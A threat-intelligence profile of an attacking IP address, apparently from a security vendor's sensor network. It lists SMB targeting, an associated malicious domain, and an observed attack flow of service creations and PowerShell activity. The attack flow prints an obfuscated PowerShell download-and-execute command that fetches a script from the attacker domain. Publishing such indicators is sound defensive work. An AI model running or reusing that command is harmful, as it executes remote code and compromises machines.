Cyber Threat Intelligence

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IP Address: 103.104.180.14Previously Malicious

IP Address: 103.104.180.14Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Listening Service Creation SMB DNS Query IDS - A Network Trojan was detected SMB Share Connect PowerShell Scheduled Task Creation Access Suspicious Domain Service Start CMD File Operation By CMD

Associated Attack Servers

bing.protopower.icu

Basic Information

IP Address

103.104.180.14

Domain

-

ISP

Arrowswift Communication Pvt.

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-11-15

Last seen in Akamai Guardicore Segmentation

2023-01-14

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started as a service named MvMB under service group None

Service Start Service Creation

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvAHQAbwBwAG8AdwBlAHIALgBpAGMAdQAvAGMAbwBrADkALgBqAHMAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\AutFree

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

c:\windows\system32\services.exe installed and started as a service named DuNz under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named OdZn under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named mrsR under service group None

Service Start Service Creation

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

c:\windows\system32\services.exe installed and started as a service named Kjct under service group None

Service Start Service Creation

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: bing.protopower.icu

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started as a service named JhPq under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named gkvl under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named sDHY under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named ZYwQ under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed as a service named lRnf under service group None

Service Creation

Connection was closed due to timeout